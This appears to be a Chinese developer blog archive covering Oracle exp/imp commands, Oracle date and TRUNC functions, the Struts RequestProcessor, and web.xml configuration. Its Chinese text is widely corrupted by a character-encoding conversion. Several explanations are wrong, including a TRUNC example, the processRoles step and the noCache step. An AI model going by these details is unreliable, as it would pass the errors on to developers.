       exp system/manager@TEST file=d:\daochu.dmp full=y
    2 將數(shù)據(jù)庫(kù)中system用戶與sys用戶的表導(dǎo)出
       exp system/manager@TEST file=d:\daochu.dmp owner=(system,sys)
    3 將數(shù)據(jù)庫(kù)中的表inner_notify、notify_staff_relat導(dǎo)出
        exp aichannel/aichannel@TESTDB2 file= d:\data\newsmgnt.dmp tables=(inner_notify,notify_staff_relat)

    4 將數(shù)據(jù)庫(kù)中的表table1中的字段filed1以"00"打頭的數(shù)據(jù)導(dǎo)出
       exp system/manager@TEST file=d:\daochu.dmp tables=(table1) query=\" where filed1 like '00%'\"

    上面是常用的導(dǎo)出,對(duì)于壓縮,既用winzip把dmp文件可以很好的壓縮。
    也可以在上面命令后面 加上 compress=y 來(lái)實(shí)現(xiàn)。
    數(shù)據(jù)的導(dǎo)入
    1 將D:\daochu.dmp 中的數(shù)據(jù)導(dǎo)入 TEST數(shù)據(jù)庫(kù)中。
       imp system/manager@TEST file=d:\daochu.dmp
       imp aichannel/aichannel@HUST full=y file=file= d:\data\newsmgnt.dmp ignore=y
       上面可能有點(diǎn)問(wèn)題,因?yàn)橛械谋硪呀?jīng)存在,然后它就報(bào)錯(cuò),對(duì)該表就不進(jìn)行導(dǎo)入。
       在后面加上 ignore=y 就可以了。
    2 將d:\daochu.dmp中的表table1 導(dǎo)入
    imp system/manager@TEST file=d:\daochu.dmp tables=(table1)

    基本上上面的導(dǎo)入導(dǎo)出夠用了。不少情況要先是將表徹底刪除,然后導(dǎo)入。

    注意:
    操作者要有足夠的權(quán)限,權(quán)限不夠它會(huì)提示。
    數(shù)據(jù)庫(kù)時(shí)可以連上的。可以用tnsping TEST 來(lái)獲得數(shù)據(jù)庫(kù)TEST能否連上。

    附錄一:
    給用戶增加導(dǎo)入數(shù)據(jù)權(quán)限的操作
    第一,啟動(dòng)sql*puls
    第二,以system/manager登陸
    第三,create user 用戶名 IDENTIFIED BY 密碼 (如果已經(jīng)創(chuàng)建過(guò)用戶,這步可以省略)
    第四,GRANT CREATE USER,DROP USER,ALTER USER ,CREATE ANY VIEW ,
       DROP ANY VIEW,EXP_FULL_DATABASE,IMP_FULL_DATABASE,
        DBA,CONNECT,RESOURCE,CREATE SESSION TO 用戶名字
    第五, 運(yùn)行-cmd-進(jìn)入dmp文件所在的目錄,
        imp userid=system/manager full=y file=*.dmp
         或者 imp userid=system/manager full=y file=filename.dmp

    執(zhí)行示例:
    F:\Work\Oracle_Data\backup>imp userid=test/test full=y file=inner_notify.dmp

    屏幕顯示
    Import: Release 8.1.7.0.0 - Production on 星期四 2月 16 16:50:05 2006
    (c) Copyright 2000 Oracle Corporation. All rights reserved.

    連接到: Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production
    With the Partitioning option
    JServer Release 8.1.7.0.0 - Production

    經(jīng)由常規(guī)路徑導(dǎo)出由EXPORT:V08.01.07創(chuàng)建的文件
    已經(jīng)完成ZHS16GBK字符集和ZHS16GBK NCHAR 字符集中的導(dǎo)入
    導(dǎo)出服務(wù)器使用UTF8 NCHAR 字符集 (可能的ncharset轉(zhuǎn)換)
    . 正在將AICHANNEL的對(duì)象導(dǎo)入到 AICHANNEL
    . . 正在導(dǎo)入表                  "INNER_NOTIFY"          4行被導(dǎo)入
    準(zhǔn)備啟用約束條件...
    成功終止導(dǎo)入,但出現(xiàn)警告。


    附錄二:
    Oracle 不允許直接改變表的擁有者, 利用Export/Import可以達(dá)到這一目的.
    先建立import9.par,
    然后,使用時(shí)命令如下:imp parfile=/filepath/import9.par
    例 import9.par 內(nèi)容如下:
            FROMUSER=TGPMS       
            TOUSER=TGPMS2     (注:把表的擁有者由FROMUSER改為T(mén)OUSER,F(xiàn)ROMUSER和TOUSER的用戶可以不同)          
            ROWS=Y
            INDEXES=Y
            GRANTS=Y
            CONSTRAINTS=Y
            BUFFER=409600
            file==/backup/ctgpc_20030623.dmp
            log==/backup/import_20030623.log

    posted @ 2009-05-21 15:39 Fighter 閱讀(1204) | 評(píng)論 (0)編輯 收藏

    1.TRUNC(for dates)
    TRUNC函數(shù)為指定元素而截去的日期值。
    其具體的語(yǔ)法格式如下:
    TRUNC(date[,fmt])
    其中:
    date 一個(gè)日期值
    fmt 日期格式,該日期將由指定的元素格式所截去。忽略它則由最近的日期截去
    下面是該函數(shù)的使用情況:
    TRUNC(TO_DATE(’24-Nov-1999 08:00 pm’,’dd-mon-yyyy hh:mi am’))
    =’24-Nov-1999 12:00:00 am’
    TRUNC(TO_DATE(’24-Nov-1999 08:37 pm’,’dd-mon-yyyy hh:mi am’,’hh’)) =’24-Nov-1999 08:00:00 am’
    trunc(sysdate,'yyyy') --返回當(dāng)年第一天.
    trunc(sysdate,'mm') --返回當(dāng)月第一天.
    trunc(sysdate,'d') --返回當(dāng)前星期的第一天.


    2.TRUNC(for number)
    TRUNC函數(shù)返回處理后的數(shù)值,其工作機(jī)制與ROUND函數(shù)極為類似,只是該函數(shù)不對(duì)指定小數(shù)前或后的部分做相應(yīng)舍入選擇處理,而統(tǒng)統(tǒng)截去。
    其具體的語(yǔ)法格式如下
    TRUNC(number[,decimals])
    其中:
    number 待做截取處理的數(shù)值
    decimals 指明需保留小數(shù)點(diǎn)后面的位數(shù)。可選項(xiàng),忽略它則截去所有的小數(shù)部分
    下面是該函數(shù)的使用情況:
    TRUNC(89.985,2)=89.98
    TRUNC(89.985)=89
    TRUNC(89.985,-1)=80
    注意:第二個(gè)參數(shù)可以為負(fù)數(shù),表示為小數(shù)點(diǎn)左邊指定位數(shù)后面的部分截去,即均以0記。

    posted @ 2009-05-21 15:36 Fighter 閱讀(1337) | 評(píng)論 (0)編輯 收藏

    在oracle中有很多關(guān)于日期的函數(shù),如:
    1、add_months()用于從一個(gè)日期值增加或減少一些月份
    date_value:=add_months(date_value,number_of_months)
    例:
    SQL> select add_months(sysdate,12) "Next Year" from dual;
     
    Next Year
    ----------
    13-11月-04
     
    SQL> select add_months(sysdate,112) "Last Year" from dual;
     
    Last Year
    ----------
    13-3月 -13
     
    SQL> 
     
    2、current_date()返回當(dāng)前會(huì)放時(shí)區(qū)中的當(dāng)前日期
    date_value:=current_date
    SQL> column sessiontimezone for a15
    SQL> select sessiontimezone,current_date from dual;
     
    SESSIONTIMEZONE CURRENT_DA
    --------------- ----------
    +08:00          13-11月-03
     
    SQL> alter session set time_zone='-11:00'
       2  /
     
    會(huì)話已更改。
     
    SQL> select sessiontimezone,current_timestamp from dual;
     
    SESSIONTIMEZONE CURRENT_TIMESTAMP
    --------------- ------------------------------------
    -11:00          12-11月-03 04.59.13.668000 下午 -11:
                     00
     
    SQL> 
     
    3、current_timestamp()以timestamp with time zone數(shù)據(jù)類型返回當(dāng)前會(huì)放時(shí)區(qū)中的當(dāng)前日期
    timestamp_with_time_zone_value:=current_timestamp([timestamp_precision])
    SQL> column sessiontimezone for a15
    SQL> column current_timestamp format a36
    SQL> select sessiontimezone,current_timestamp from dual;
     
    SESSIONTIMEZONE CURRENT_TIMESTAMP
    --------------- ------------------------------------
    +08:00          13-11月-03 11.56.28.160000 上午 +08:
                     00
     
    SQL> alter session set time_zone='-11:00'
       2  /
     
    會(huì)話已更改。
     
    SQL> select sessiontimezone,current_timestamp from dual;
     
    SESSIONTIMEZONE CURRENT_TIMESTAMP
    --------------- ------------------------------------
    -11:00          12-11月-03 04.58.00.243000 下午 -11:
                     00
     
    SQL> 
     
    4、dbtimezone()返回時(shí)區(qū)
    varchar_value:=dbtimezone
    SQL> select dbtimezone from dual;
     
    DBTIME
    ------
    -07:00
     
    SQL> 
     
    5、extract()找出日期或間隔值的字段值
    date_value:=extract(date_field from [datetime_value|interval_value])
    SQL> select extract(month from sysdate) "This Month" from dual;
     
    This Month
    ----------
             11
     
    SQL> select extract(year from add_months(sysdate,36)) "3 Years Out" from dual;
     
    3 Years Out
    -----------
            2006
     
    SQL> 
     
    6、last_day()返回包含了日期參數(shù)的月份的最后一天的日期
    date_value:=last_day(date_value)
    SQL> select last_day(date'2000-02-01') "Leap Yr?" from dual;
     
    Leap Yr?
    ----------
    29-2月 -00
     
    SQL> select last_day(sysdate) "Last day of this month" from dual;
     
    Last day o
    ----------
    30-11月-03
     
    SQL> 
     
    7、localtimestamp()返回會(huì)話中的日期和時(shí)間
    timestamp_value:=localtimestamp
    SQL> column localtimestamp format a28
    SQL> select localtimestamp from dual;
     
    LOCALTIMESTAMP
    ----------------------------
    13-11月-03 12.09.15.433000
    下午
     
    SQL> select localtimestamp,current_timestamp from dual;
     
    LOCALTIMESTAMP               CURRENT_TIMESTAMP
    ---------------------------- ------------------------------------
    13-11月-03 12.09.31.006000   13-11月-03 12.09.31.006000 下午 +08:
    下午                         00
    &



    ----Comments

    Oracle的解惑一二to_date()與24小時(shí)制表示法及mm分鐘的顯示:
    一、在使用Oracle的to_date函數(shù)來(lái)做日期轉(zhuǎn)換時(shí),很多Java程序員也許會(huì)和我一樣,直覺(jué)的采用“yyyy-MM-dd HH:mm:ss”的格式作為格式進(jìn)行轉(zhuǎn)換,但是在Oracle中會(huì)引起錯(cuò)誤:“ORA 01810 格式代碼出現(xiàn)兩次”。
    如:select to_date('2005-01-01 13:14:20','yyyy-MM-dd HH24:mm:ss') from dual;
    原因是SQL中不區(qū)分大小寫(xiě),MM和mm被認(rèn)為是相同的格式代碼,所以O(shè)racle的SQL采用了mi代替分鐘。
    select to_date('2005-01-01 13:14:20','yyyy-MM-dd HH24:mi:ss') from dual;

    二、另要以24小時(shí)的形式顯示出來(lái)要用HH24
    select to_char(sysdate,'yyyy-MM-dd HH24:mi:ss') from dual;//mi是分鐘
    select to_char(sysdate,'yyyy-MM-dd HH24:mm:ss') from dual;//mm會(huì)顯示月份

    ToDate 把字符串轉(zhuǎn)化為date類型
    ToChar 可以把日期轉(zhuǎn)化為想要的格式的字符串

    posted @ 2009-05-21 15:35 Fighter 閱讀(621) | 評(píng)論 (0)編輯 收藏

    2008年12月31日 #

    對(duì)于RequestProcessor這個(gè)類,有的人可能很陌生,畢竟它不象ActionSerlvet那樣,在我們的面前頻繁的出現(xiàn)。但是,RequestProcessor用的要遠(yuǎn)比ActionServlet多,那么RequestProcessor到底是干什么的呢?當(dāng)ActionServlet接收到客戶請(qǐng)求后,會(huì)進(jìn)行一連串的初始化操作,然后,就會(huì)將客戶請(qǐng)求轉(zhuǎn)交給合適的處理器進(jìn)行處理,這個(gè)合適的處理器就是org.apache.struts.action.RequestProcessor。既然我們知道了RequestProcessor的用處,下面我們就詳細(xì)的分析下這個(gè)處理器類。
    1.調(diào)用processMultipart( )方法,如果HttpServletRequest是POST方式,且請(qǐng)求為multipart/form-data ,Struts框架將請(qǐng)求對(duì)象包裝成處理multipart 請(qǐng)求專用的請(qǐng)求對(duì)象,否則,只是簡(jiǎn)單地返回原有的請(qǐng)求對(duì)象。一般來(lái)說(shuō),除非需要處理文件上傳,否則不用關(guān)心multipart 功能的具體細(xì)節(jié)。
    2.調(diào)用processPath( ) 方法,該方法用來(lái)從請(qǐng)求URL中獲應(yīng)用取路徑部分。獲取到的信息在稍后的步驟中用于選擇合適的Struts Action調(diào)用。
    3.調(diào)用processLocale( )方法,處理一些國(guó)際化的事務(wù)。
    4.調(diào)用方法processContent( ),來(lái)決定請(qǐng)求的content type編碼(encoding)方式。content type可以配合在配置文件中,也可以在jsp文件中配置,默認(rèn)為text/html。
    5.根據(jù)noCache屬性的設(shè)置調(diào)用processNoCache( ) 方法,如果noCache設(shè)置為true。則添加合適的響應(yīng)頭到響應(yīng)對(duì)象中,使得頁(yè)面保留在瀏覽器的Cache中。這些響應(yīng)頭包含Pragma, Cache-Control, 和Expires 。
    6.調(diào)用processPreprocess( )方法,這個(gè)方法在這兒設(shè)置一個(gè)鉤子,方法的默認(rèn)實(shí)現(xiàn)只是簡(jiǎn)單地返回true,這樣給了自定義處理器的開(kāi)發(fā)者提供了一個(gè)合適的地方讓你添加自己的業(yè)務(wù)邏輯。因?yàn)檫@個(gè)方法在調(diào)用Action之前被調(diào)用,如果你重載這個(gè)方法,只需要返回false,則Action就不會(huì)被調(diào)用。例如,你可以重載這個(gè)方法用戶檢查客戶session,如果不通過(guò)就返回false。
    7.調(diào)用processMapping( )方法,根據(jù)客戶請(qǐng)求信息中的path 信息來(lái)決定是否返回ActionMapping對(duì)象實(shí)例。如果不能夠找到path 的映射,則客戶將會(huì)得到一個(gè)error 響應(yīng)。
    8.通過(guò)調(diào)用processRoles( )方法,檢查是否為Action配置了安全角色。如果配置了角色要求,則請(qǐng)求對(duì)象的isUserInRole( )方法被調(diào)用,如果用戶屬于這些角色,則客戶會(huì)得到顯示一個(gè)error 響應(yīng)。
    9.調(diào)用processActionForm( )方法,檢查是否存在為ActionMapping配置的ActionForm 。如果存在,則在有效區(qū)域內(nèi)查找是否存在該ActionForm 的實(shí)例,存在,則復(fù)用,不存在,則創(chuàng)建一個(gè)實(shí)例。然后將實(shí)例保存與再配置文件中配置好的有效區(qū)域(request,session,application)內(nèi),并用Action元素的name屬性作為該實(shí)例的關(guān)鍵字。
    10.調(diào)用processPopulate( )方法,如果存在為ActionMapping配置的ActionForm,則封裝請(qǐng)求對(duì)象中的數(shù)據(jù)到ActionForm 中,在進(jìn)行封裝之前,先調(diào)用ActionForm 的reset( )方法進(jìn)行屬性值的默認(rèn)化。
    11.調(diào)用processValidate( )方法,如果ActionForm被配置好,并且action元素的屬性validate被設(shè)置為true ,則進(jìn)一步調(diào)用validate( )方法進(jìn)行規(guī)則校驗(yàn)。如果validate( )方法校驗(yàn)失敗,就會(huì)保存一個(gè)ActionErrors 對(duì)象到請(qǐng)求區(qū)域中,請(qǐng)求將會(huì)自動(dòng)重定向到action映射的input屬性所指定的頁(yè)面中。如果校驗(yàn)通過(guò)或在action 映射中沒(méi)有配置ActionForm,則繼續(xù)處理請(qǐng)求。
    12.根據(jù)action 映射是否配置了forward屬性或include屬性來(lái)決定下一步操作。如果配置了任意一個(gè),則相應(yīng)地調(diào)用RequestDispatcher對(duì)象的forward( )方法或include( )方法,調(diào)用后,對(duì)客戶請(qǐng)求的處理結(jié)束。否則,繼續(xù)處理請(qǐng)求。
    13.調(diào)用processActionCreate( )方法,創(chuàng)建或獲取一個(gè)Action對(duì)象實(shí)例處理請(qǐng)求。processActionCreate( )方法會(huì)在緩存中查找是否存在已經(jīng)創(chuàng)建好的Action實(shí)例,如果存在,則復(fù)用,否則,則重新創(chuàng)建并將其村于緩存中。
    14.調(diào)用processActionPerform( )方法,該方法用于在一個(gè)try/catch 代碼塊中調(diào)用action 實(shí)例的execute( )方法,這樣確保action 的execute( )方法一旦發(fā)生執(zhí)行異常能夠被RequestProcessor捕獲。
    15.調(diào)用processActionForward( )方法,并傳入action的execute( )方法所返回的ActionForward對(duì)象實(shí)例,方法通過(guò)檢查ActionForward對(duì)象實(shí)例,決定采用redirect或forword方式進(jìn)行重定向。究竟采用redirect還是
    forword取決于forward元素的redirect屬性值。

    上面這些分析,也是我在網(wǎng)上搜集的資料并加以整理總結(jié)出來(lái)的,在實(shí)際的應(yīng)用開(kāi)發(fā)中,如果我們想對(duì)Struts在初始化的時(shí)候進(jìn)行一些擴(kuò)展,我們可以重新寫(xiě)ActionServlet的子類,或RequestProcessor的子類,但是不建議去寫(xiě)ActionServlet的子類,在RequestProcessor中為我們提供了processPreprocess()這個(gè)鉤子方法,這樣,我們可以去重寫(xiě)這個(gè)方法,來(lái)進(jìn)行擴(kuò)展。雖然RequestProcessor在表面上不是很常用到,但是他給人的感覺(jué)卻恰恰相反,這個(gè)類用來(lái)處理我們每一次的請(qǐng)求,所以,更好的了解RequestProcessor類對(duì)我們來(lái)說(shuō)很重要。
    posted @ 2008-12-31 11:07 Fighter 閱讀(860) | 評(píng)論 (0)編輯 收藏

    2008年8月23日 #

    1 定義頭和根元素

    部署描述符文件就像所有XML文件一樣,必須以一個(gè)XML頭開(kāi)始。這個(gè)頭聲明可以使用的XML版本并給出文件的字符編碼。
    DOCYTPE聲明必須立即出現(xiàn)在此頭之后。這個(gè)聲明告訴服務(wù)器適用的servlet規(guī)范的版本(如2.2或2.3)并指定管理此文件其余部分內(nèi)容的語(yǔ)法的DTD(Document Type Definition,文檔類型定義)。
    所有部署描述符文件的頂層(根)元素為web-app。請(qǐng)注意,XML元素不像HTML,他們是大小寫(xiě)敏感的。因此,web-App和WEB-APP都是不合法的,web-app必須用小寫(xiě)。

    2 部署描述符文件內(nèi)的元素次序

    XML 元素不僅是大小寫(xiě)敏感的,而且它們還對(duì)出現(xiàn)在其他元素中的次序敏感。例如,XML頭必須是文件中的第一項(xiàng),DOCTYPE聲明必須是第二項(xiàng),而web- app元素必須是第三項(xiàng)。在web-app元素內(nèi),元素的次序也很重要。服務(wù)器不一定強(qiáng)制要求這種次序,但它們?cè)试S(實(shí)際上有些服務(wù)器就是這樣做的)完全 拒絕執(zhí)行含有次序不正確的元素的Web應(yīng)用。這表示使用非標(biāo)準(zhǔn)元素次序的web.xml文件是不可移植的。
    下面的列表給出了所有可直接出現(xiàn)在web-app元素內(nèi)的合法元素所必需的次序。例如,此列表說(shuō)明servlet元素必須出現(xiàn)在所有servlet-mapping元素之前。請(qǐng)注意,所有這些元素都是可選的。因此,可以省略掉某一元素,但不能把它放于不正確的位置。
    l icon icon元素指出IDE和GUI工具用來(lái)表示W(wǎng)eb應(yīng)用的一個(gè)和兩個(gè)圖像文件的位置。
    l display-name display-name元素提供GUI工具可能會(huì)用來(lái)標(biāo)記這個(gè)特定的Web應(yīng)用的一個(gè)名稱。
    l description description元素給出與此有關(guān)的說(shuō)明性文本。
    l context-param context-param元素聲明應(yīng)用范圍內(nèi)的初始化參數(shù)。
    l filter 過(guò)濾器元素將一個(gè)名字與一個(gè)實(shí)現(xiàn)javax.servlet.Filter接口的類相關(guān)聯(lián)。
    l filter-mapping 一旦命名了一個(gè)過(guò)濾器,就要利用filter-mapping元素把它與一個(gè)或多個(gè)servlet或JSP頁(yè)面相關(guān)聯(lián)。
    l listener servlet API的版本2.3增加了對(duì)事件監(jiān)聽(tīng)程序的支持,事件監(jiān)聽(tīng)程序在建立、修改和刪除會(huì)話或servlet環(huán)境時(shí)得到通知。Listener元素指出事件監(jiān)聽(tīng)程序類。
    l servlet 在向servlet或JSP頁(yè)面制定初始化參數(shù)或定制URL時(shí),必須首先命名servlet或JSP頁(yè)面。Servlet元素就是用來(lái)完成此項(xiàng)任務(wù)的。
    l servlet-mapping 服務(wù)器一般為servlet提供一個(gè)缺省的URL:http://host/webAppPrefix/servlet/ServletName。但是,常常會(huì)更改這個(gè)URL,以便servlet可以訪問(wèn)初始化參數(shù)或更容易地處理相對(duì)URL。在更改缺省URL時(shí),使用servlet-mapping元素。
    l session-config 如果某個(gè)會(huì)話在一定時(shí)間內(nèi)未被訪問(wèn),服務(wù)器可以拋棄它以節(jié)省內(nèi)存。可通過(guò)使用HttpSession的setMaxInactiveInterval方法 明確設(shè)置單個(gè)會(huì)話對(duì)象的超時(shí)值,或者可利用session-config元素制定缺省超時(shí)值。
    l mime-mapping 如果Web應(yīng)用具有想到特殊的文件,希望能保證給他們分配特定的MIME類型,則mime-mapping元素提供這種保證。
    l welcom-file-list welcome-file-list元素指示服務(wù)器在收到引用一個(gè)目錄名而不是文件名的URL時(shí),使用哪個(gè)文件。
    l error-page error-page元素使得在返回特定HTTP狀態(tài)代碼時(shí),或者特定類型的異常被拋出時(shí),能夠制定將要顯示的頁(yè)面。
    l taglib taglib元素對(duì)標(biāo)記庫(kù)描述符文件(Tag Libraryu Descriptor file)指定別名。此功能使你能夠更改TLD文件的位置,而不用編輯使用這些文件的JSP頁(yè)面。
    l resource-env-ref resource-env-ref元素聲明與資源相關(guān)的一個(gè)管理對(duì)象。
    l resource-ref resource-ref元素聲明一個(gè)資源工廠使用的外部資源。
    l security-constraint security-constraint元素制定應(yīng)該保護(hù)的URL。它與login-config元素聯(lián)合使用
    l login-config 用login-config元素來(lái)指定服務(wù)器應(yīng)該怎樣給試圖訪問(wèn)受保護(hù)頁(yè)面的用戶授權(quán)。它與sercurity-constraint元素聯(lián)合使用。
    l security-role security-role元素給出安全角色的一個(gè)列表,這些角色將出現(xiàn)在servlet元素內(nèi)的security-role-ref元素的role-name子元素中。分別地聲明角色可使高級(jí)IDE處理安全信息更為容易。
    l env-entry env-entry元素聲明Web應(yīng)用的環(huán)境項(xiàng)。
    l ejb-ref ejb-ref元素聲明一個(gè)EJB的主目錄的引用。
    l ejb-local-ref ejb-local-ref元素聲明一個(gè)EJB的本地主目錄的應(yīng)用。

    3 分配名稱和定制的UL

    在web.xml中完成的一個(gè)最常見(jiàn)的任務(wù)是對(duì)servlet或JSP頁(yè)面給出名稱和定制的URL。用servlet元素分配名稱,使用servlet-mapping元素將定制的URL與剛分配的名稱相關(guān)聯(lián)。
    3.1 分配名稱
    為 了提供初始化參數(shù),對(duì)servlet或JSP頁(yè)面定義一個(gè)定制URL或分配一個(gè)安全角色,必須首先給servlet或JSP頁(yè)面一個(gè)名稱。可通過(guò) servlet元素分配一個(gè)名稱。最常見(jiàn)的格式包括servlet-name和servlet-class子元素(在web-app元素內(nèi)),如下所示:
    <servlet>
    <servlet-name>Test</servlet-name>
    <servlet-class>moreservlets.TestServlet</servlet-class>
    </servlet>
    這 表示位于WEB-INF/classes/moreservlets/TestServlet的servlet已經(jīng)得到了注冊(cè)名Test。給 servlet一個(gè)名稱具有兩個(gè)主要的含義。首先,初始化參數(shù)、定制的URL模式以及其他定制通過(guò)此注冊(cè)名而不是類名引用此servlet。其次,可在 URL而不是類名中使用此名稱。因此,利用剛才給出的定義,URL http://host/webAppPrefix/servlet/Test 可用于 http://host/webAppPrefix/servlet/moreservlets.TestServlet 的場(chǎng)所。
    請(qǐng) 記住:XML元素不僅是大小寫(xiě)敏感的,而且定義它們的次序也很重要。例如,web-app元素內(nèi)所有servlet元素必須位于所有servlet- mapping元素(下一小節(jié)介紹)之前,而且還要位于5.6節(jié)和5.11節(jié)討論的與過(guò)濾器或文檔相關(guān)的元素(如果有的話)之前。類似地,servlet 的servlet-name子元素也必須出現(xiàn)在servlet-class之前。5.2節(jié)"部署描述符文件內(nèi)的元素次序"將詳細(xì)介紹這種必需的次序。
    例 如,程序清單5-1給出了一個(gè)名為T(mén)estServlet的簡(jiǎn)單servlet,它駐留在moreservlets程序包中。因?yàn)榇藄ervlet是扎根 在一個(gè)名為deployDemo的目錄中的Web應(yīng)用的組成部分,所以TestServlet.class放在deployDemo/WEB- INF/classes/moreservlets中。程序清單5-2給出將放置在deployDemo/WEB-INF/內(nèi)的web.xml文件的一部 分。此web.xml文件使用servlet-name和servlet-class元素將名稱Test與TestServlet.class相關(guān)聯(lián)。圖 5-1和圖5-2分別顯示利用缺省URL和注冊(cè)名調(diào)用TestServlet時(shí)的結(jié)果。

    程序清單5-1 TestServlet.java
    package moreservlets;

    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;

    /** Simple servlet used to illustrate servlet naming
    * and custom URLs.
    * <P>
    * Taken from More Servlets and JavaServer Pages
    * from Prentice Hall and Sun Microsystems Press,
    * http://www.moreservlets.com/.
    * ? 2002 Marty Hall; may be freely used or adapted.
    */

    public class TestServlet extends HttpServlet {
    public void doGet(HttpServletRequest request,
    HttpServletResponse response)
    throws ServletException, IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String uri = request.getRequestURI();
    out.println(ServletUtilities.headWithTitle("Test Servlet") +
    "<BODY BGCOLOR=\"#FDF5E6\">\n" +
    "<H2>URI: " + uri + "</H2>\n" +
    "</BODY></HTML>");
    }
    }


    程序清單5-2 web.xml(說(shuō)明servlet名稱的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- … -->
    <servlet>
    <servlet-name>Test</servlet-name>
    <servlet-class>moreservlets.TestServlet</servlet-class>
    </servlet>
    <!-- … -->
    </web-app>

    3.2 定義定制的URL
    大多數(shù)服務(wù)器具有一個(gè)缺省的serlvet URL:
    http://host/webAppPrefix/servlet/packageName.ServletName。 雖然在開(kāi)發(fā)中使用這個(gè)URL很方便,但是我們常常會(huì)希望另一個(gè)URL用于部署。例如,可能會(huì)需要一個(gè)出現(xiàn)在Web應(yīng)用頂層的URL(如,http: //host/webAppPrefix/Anyname),并且在此URL中沒(méi)有servlet項(xiàng)。位于頂層的URL簡(jiǎn)化了相對(duì)URL的使用。此外,對(duì) 許多開(kāi)發(fā)人員來(lái)說(shuō),頂層URL看上去比更長(zhǎng)更麻煩的缺省URL更簡(jiǎn)短。
    事實(shí)上,有時(shí)需要使用定制的URL。比如,你可能想關(guān)閉缺省URL映射,以便更好地強(qiáng)制實(shí)施安全限制或防止用戶意外地訪問(wèn)無(wú)初始化參數(shù)的servlet。如果你禁止了缺省的URL,那么你怎樣訪問(wèn)servlet呢?這時(shí)只有使用定制的URL了。
    為 了分配一個(gè)定制的URL,可使用servlet-mapping元素及其servlet-name和url-pattern子元素。Servlet- name元素提供了一個(gè)任意名稱,可利用此名稱引用相應(yīng)的servlet;url-pattern描述了相對(duì)于Web應(yīng)用的根目錄的URL。url- pattern元素的值必須以斜杠(/)起始。
    下面給出一個(gè)簡(jiǎn)單的web.xml摘錄,它允許使用URL http://host/webAppPrefix/UrlTest而不是http://host/webAppPrefix/servlet/Test或
    http: //host/webAppPrefix/servlet/moreservlets.TestServlet。請(qǐng)注意,仍然需要XML頭、 DOCTYPE聲明以及web-app封閉元素。此外,可回憶一下,XML元素出現(xiàn)地次序不是隨意的。特別是,需要把所有servlet元素放在所有 servlet-mapping元素之前。
    <servlet>
    <servlet-name>Test</servlet-name>
    <servlet-class>moreservlets.TestServlet</servlet-class>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name>Test</servlet-name>
    <url-pattern>/UrlTest</url-pattern>
    </servlet-mapping>
    URL模式還可以包含通配符。例如,下面的小程序指示服務(wù)器發(fā)送所有以Web應(yīng)用的URL前綴開(kāi)始,以..asp結(jié)束的請(qǐng)求到名為BashMS的servlet。
    <servlet>
    <servlet-name>BashMS</servlet-name>
    <servlet-class>msUtils.ASPTranslator</servlet-class>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name>BashMS</servlet-name>
    <url-pattern>/*.asp</url-pattern>
    </servlet-mapping>
    3.3 命名JSP頁(yè)面
    因 為JSP頁(yè)面要轉(zhuǎn)換成sevlet,自然希望就像命名servlet一樣命名JSP頁(yè)面。畢竟,JSP頁(yè)面可能會(huì)從初始化參數(shù)、安全設(shè)置或定制的URL中 受益,正如普通的serlvet那樣。雖然JSP頁(yè)面的后臺(tái)實(shí)際上是servlet這句話是正確的,但存在一個(gè)關(guān)鍵的猜疑:即,你不知道JSP頁(yè)面的實(shí)際 類名(因?yàn)橄到y(tǒng)自己挑選這個(gè)名字)。因此,為了命名JSP頁(yè)面,可將jsp-file元素替換為servlet-calss元素,如下所示:
    <servlet>
    <servlet-name>Test</servlet-name>
    <jsp-file>/TestPage.jsp</jsp-file>
    </servlet>
    命 名JSP頁(yè)面的原因與命名servlet的原因完全相同:即為了提供一個(gè)與定制設(shè)置(如,初始化參數(shù)和安全設(shè)置)一起使用的名稱,并且,以便能更改激活 JSP頁(yè)面的URL(比方說(shuō),以便多個(gè)URL通過(guò)相同頁(yè)面得以處理,或者從URL中去掉.jsp擴(kuò)展名)。但是,在設(shè)置初始化參數(shù)時(shí),應(yīng)該注意,JSP頁(yè) 面是利用jspInit方法,而不是init方法讀取初始化參數(shù)的。
    例如,程序清單5-3給出一個(gè)名為T(mén)estPage.jsp的簡(jiǎn)單JSP頁(yè)面,它的工作只是打印出用來(lái)激活它的URL的本地部分。TestPage.jsp放置在deployDemo應(yīng)用的頂層。程序清單5-4給出了用來(lái)分配一個(gè)注冊(cè)名PageName,然后將此注冊(cè)名與http://host/webAppPrefix/UrlTest2/anything 形式的URL相關(guān)聯(lián)的web.xml文件(即,deployDemo/WEB-INF/web.xml)的一部分。

    程序清單5-3 TestPage.jsp
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD>
    <TITLE>
    JSP Test Page
    </TITLE>
    </HEAD>
    <BODY BGCOLOR="#FDF5E6">
    <H2>URI: <%= request.getRequestURI() %></H2>
    </BODY>
    </HTML>


    程序清單5-4 web.xml(說(shuō)明JSP頁(yè)命名的摘錄)
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">

    <web-app>
    <!-- ... -->
    <servlet>
    <servlet-name>PageName</servlet-name>
    <jsp-file>/TestPage.jsp</jsp-file>
    </servlet>
    <!-- ... -->
    <servlet-mapping>
    <servlet-name> PageName </servlet-name>
    <url-pattern>/UrlTest2/*</url-pattern>
    </servlet-mapping>
    <!-- ... -->
    </web-app>


    4 禁止激活器servlet

